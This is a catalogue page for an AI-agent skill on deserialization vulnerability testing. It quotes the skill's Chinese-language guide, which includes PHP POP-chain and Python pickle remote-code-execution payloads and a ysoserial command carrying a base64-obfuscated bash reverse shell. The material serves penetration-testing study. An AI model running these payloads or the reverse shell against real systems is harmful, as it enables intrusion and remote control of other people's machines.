Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/liuxinye23/cyberstrikeai/deserialization-testingnpx skills add liuxinye23/CyberStrikeAI --skill deserialization-testinggit clone --depth 1 https://github.com/liuxinye23/CyberStrikeAIWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/liuxinye23/cyberstrikeai/deserialization-testing)<a href="https://agentmods.dev/skills/liuxinye23/cyberstrikeai/deserialization-testing"><img src="https://agentmods.dev/badge/skills/liuxinye23/cyberstrikeai/deserialization-testing.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00016 | $0.01629 |
| Opus 5 | $0.00008 | $0.00814 |
| Sonnet 5 | $0.00003 | $0.00326 |
| Haiku 4.5 | $0.00002 | $0.00163 |
Grade A, and why
deserialization-testing scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
return (os.system, ('id',)) How it starts
The opening of the file, as written. The whole thing — 310 lines — stays where its author put it; the contents beside it link to each section on GitHub.
反序列化漏洞测试
概述
反序列化漏洞是一种利用应用程序反序列化不可信数据导致的漏洞,可能导致远程代码执行、拒绝服务等。本技能提供反序列化漏洞的检测、利用和防护方法。
漏洞原理
应用程序将序列化的数据反序列化为对象时,如果数据来源不可信,攻击者可以构造恶意序列化数据,在反序列化过程中执行任意代码。
常见格式
Java
常见库:
- Java原生序列化
- Jackson
- Fastjson
- XStream
- Apache Commons Collections
PHP
常见函数:
- unserialize()
- json_decode()
Python
常见模块:
- pickle
- yaml
- json
.NET
常见类:
- BinaryFormatter
- SoapFormatter
- DataContractSerializer
测试方法
1. 识别序列化数据
Java序列化特征:
AC ED 00 05 (十六进制)
rO0 (Base64)
PHP序列化特征:
O:8:"stdClass"
a:2:{s:4:"test";s:4:"data";}
Python pickle特征:
\x80\x03
2. 检测反序列化点
常见位置:
- Cookie值
- Session数据
- API参数
- 文件上传
- 缓存数据
- 消息队列
3. Java反序列化
Apache Commons Collections利用:
// 使用ysoserial生成Payload
java -jar ysoserial.jar CommonsCollections1 "command" > payload.bin
常见Gadget链:
- CommonsCollections1-7
- Spring1-2
- ROME
- Jdk7u21
4. PHP反序列化
基础测试:
<?php
class Test {
public $cmd = "id";
function __destruct() {
system($this->cmd);
}
}
echo serialize(new Test());
// O:4:"Test":1:{s:3:"cmd";s:2:"id";}
?>
魔术方法利用:
- __destruct()
- __wakeup()
- __toString()
- __call()
5. Python pickle
基础测试:
import pickle
import os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
pickle.dumps(RCE())
利用技术
Java RCE
使用ysoserial:
# 生成Payload
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}" > payload.bin
# Base64编码
base64 -w 0 payload.bin
手动构造:
// 使用Gadget链构造恶意对象
// 参考ysoserial源码
PHP RCE
利用POP链:
<?php
class A {
public $b;
function __destruct() {
$this->b->test();
}
}
class B {
public $c;
function test() {
call_user_func($this->c, "id");
}
}
$a = new A();
$a->b = new B();
$a->b->c = "system";
echo serialize($a);
?>
Python RCE
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 310 lines · 16 tokens per session scan A f38b15bffb0a
deserialization-testing is a skill published in the GitHub repository liuxinye23/CyberStrikeAI (0 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 16 tokens to every session and 1,629 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.
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